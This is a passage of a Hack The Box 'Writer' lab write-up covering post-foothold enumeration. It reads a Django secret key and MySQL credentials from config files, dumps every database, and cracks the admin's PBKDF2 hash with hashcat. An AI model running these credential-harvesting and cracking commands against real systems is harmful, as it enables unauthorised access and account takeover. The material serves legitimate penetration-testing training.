writer2
The presence of the development web server was already suspected during the enumeration phase before even gaining a foothold
www-data@writer:/var/www$ ll
total 20K
4.0k drwxrws--- 6 www-data smbgroup 4.0k apr 19 14:26 writer2_project
4.0K drwxr-xr-x 5 root root 4.0K Jun 22 2021 .
4.0K drwxr-xr-x 2 root root 4.0K Jun 17 2021 html
4.0K drwxr-xr-x 3 www-data www-data 4.0K May 17 2021 writer.htb
4.0K drwxr-xr-x 14 root root 4.0K May 13 2021 ..
The /var/www/writer2_project
directory has already been enumerated by checking out the apache2 configuration file from the SQLi file read earlier.
www-data@writer:/var/www$ cd writer2_project ; ll
total 32K
4.0k -r-xr-sr-x 1 www-data smbgroup 806 apr 19 18:24 manage.py
4.0k -r-xr-sr-x 1 www-data smbgroup 15 apr 19 18:24 requirements.txt
4.0k drwxrws--- 6 www-data smbgroup 4.0k apr 19 14:26 .
4.0K dr-xr-sr-x 4 www-data smbgroup 4.0K Jul 9 2021 staticfiles
4.0K drwxr-xr-x 5 root root 4.0K Jun 22 2021 ..
4.0K dr-xr-sr-x 4 www-data smbgroup 4.0K May 19 2021 writer_web
4.0K dr-xr-sr-x 3 www-data smbgroup 4.0K May 19 2021 writerv2
4.0K dr-xr-sr-x 3 www-data smbgroup 4.0K May 16 2021 static
Check the directory inside, I see the manage.py
file, which was configured to run upon every bootup by cronjob
I also see the application directory for the development version of the web app; writerv2
www-data@writer:/var/www/writer2_project$ ps -auxwww | grep -i manage.py
www-data 987 0.0 0.0 2608 596 ? ss 09:05 0:00 /bin/sh -c cd /var/www/writer2_project && python3 manage.py runserver 127.0.0.1:8080
www-data 990 0.0 0.9 52668 39216 ? s 09:05 0:02 python3 manage.py runserver 127.0.0.1:8080
www-data 35745 1.5 1.0 128976 43240 ? sl 18:26 0:00 /usr/bin/python3 manage.py runserver 127.0.0.1:8080
This could be double-checked. It is running internally on the port 8080
over the loopback address.
The fact that it’s running with the privileges of the current user doesn’t come as valuable to investigate further.
www-data@writer:/var/www/writer2_project$ cd writerv2 ; ll
total 24K
0 -r-xr-s--- 1 www-data smbgroup 0 apr 19 18:28 __init__.py
4.0k -r-xr-s--- 1 www-data smbgroup 3.3k apr 19 18:28 settings.py
4.0k -r-xr-s--- 1 www-data smbgroup 817 apr 19 18:28 urls.py
4.0k -r-xr-s--- 1 www-data smbgroup 401 apr 19 18:28 wsgi.py
4.0k drwxrws--- 6 www-data smbgroup 4.0k apr 19 14:26 ..
4.0K dr-xr-s--- 2 www-data smbgroup 4.0K May 19 2021 __pycache__
4.0K dr-xr-sr-x 3 www-data smbgroup 4.0K May 19 2021 .
The writerv2
directory indeed contains a configuration file; settings.py
www-data@writer:/var/www/writer2_project/writerv2$ grep -v '^#' settings.py
import os
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
SECRET_KEY = 'q2!1iwm^9jlx@4u66k(ke!_=(5uacvl@%%(g&6=$$m1u5n=*4-'
DEBUG = False
ALLOWED_HOSTS = ['127.0.0.1']
[...REDACTED...]
DATABASES = {
'default': {
'engine': 'django.db.backends.mysql',
'options': {
'read_default_file': '/etc/mysql/my.cnf',
},
}
}
[..REDACTED...]
I expected the DB connection string here but the configuration file is pointing to the /etc/mysql/my.cnf
file for that.
DB
www-data@writer:/var/www/writer2_project/writerv2$ grep -v '^#' /etc/mysql/my.cnf
[client-server]
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
Checking the /etc/mysql/my.cnf
file indeed reveals the DB credential for the development instance of the web app
mysql
www-data@writer:/$ mysql -udjangouser -pDjangoSuperPassword -D dev
show databases;
Attempting to connect to the DB instance just hangs. I had to re-establish the connection
I will just dump the while Database using mysqldump
mysqldump
www-data@writer:/etc/mysql$ mysqldump --user=djangouser --password=DjangoSuperPassword --host=localhost --all-databases
Info: Using unique option prefix 'database' is error-prone and can break in the future. Please use the full name 'databases' instead.
Warning: mysqldump: ignoring option '--databases' due to invalid value 'dev'
-- MySQL dump 10.19 Distrib 10.3.29-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost Database:
-- ------------------------------------------------------
-- Server version 10.3.29-MariaDB-0ubuntu0.20.04.1
--
-- Current Database: `dev`
--
[...REDACTED...]
--
-- Table structure for table `auth_user`
--
DROP TABLE IF EXISTS `auth_user`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `auth_user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`password` varchar(128) NOT NULL,
`last_login` datetime(6) DEFAULT NULL,
`is_superuser` tinyint(1) NOT NULL,
`username` varchar(150) NOT NULL,
`first_name` varchar(150) NOT NULL,
`last_name` varchar(150) NOT NULL,
`email` varchar(254) NOT NULL,
`is_staff` tinyint(1) NOT NULL,
`is_active` tinyint(1) NOT NULL,
`date_joined` datetime(6) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `auth_user`
--
LOCK TABLES `auth_user` WRITE;
/*!40000 ALTER TABLE `auth_user` DISABLE KEYS */;
INSERT INTO `auth_user` VALUES (1,'pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=',NULL,1,'kyle','','','kyle@writer.htb',1,1,'2021-05-19 12:41:37.168368');
/*!40000 ALTER TABLE `auth_user` ENABLE KEYS */;
UNLOCK TABLES;
[...REDACTED...]
-- Dump completed on 2023-04-19 18:39:38
While there is much data dumped out, the most important piece here is the credential string
The django.auth_user
table contains that
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=
for the kyle
user
Password Cracking
┌──(kali㉿kali)-[~/archive/htb/labs/writer]
└─$ hashcat --show kyle.hash
10000 | Django (PBKDF2-SHA256) | Framework
Hashcat flags it as the PBKDF2-SHA256 hash from Django
┌──(kali㉿kali)-[~/archive/htb/labs/writer]
└─$ hashcat -a 0 -m 10000 kyle.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
hashes: 1 digests; 1 unique digests, 1 unique salts
bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
rules: 1
dictionary cache hit:
* filename..: /usr/share/wordlists/rockyou.txt
* passwords.: 14344385
* bytes.....: 139921507
* keyspace..: 14344385
pbkdf2_sha256$260000$wjo3ztk0folcbssns1wjpd$bbtycb8dywmgylz4dsarozty7wczcs7dv6l5dpuxm4a=:marcoantonio
session..........: hashcat
status...........: Cracked
hash.mode........: 10000 (Django (PBKDF2-SHA256))
hash.target......: pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8...uXM4A=
time.started.....: Wed Apr 19 20:45:58 2023 (2 mins, 32 secs)
time.estimated...: Wed Apr 19 20:48:30 2023 (0 secs)
kernel.feature...: Pure Kernel
guess.base.......: File (/usr/share/wordlists/rockyou.txt)
guess.queue......: 1/1 (100.00%)
speed.#1.........: 81 H/s (4.49ms) @ Accel:512 Loops:32 Thr:1 Vec:8
recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
progress.........: 12288/14344385 (0.09%)
rejected.........: 0/12288 (0.00%)
restore.point....: 9216/14344385 (0.06%)
restore.sub.#1...: Salt:0 Amplifier:0-1 Iteration:259968-259999
candidate.engine.: Device Generator
candidates.#1....: rubberducky -> hawkeye
hardware.mon.#1..: Util: 83%
started: Wed Apr 19 20:45:42 2023
stopped: Wed Apr 19 20:48:32 2023
hashcat cracked the password hash
The cracked password is marcoantonio
I should test it for password reuse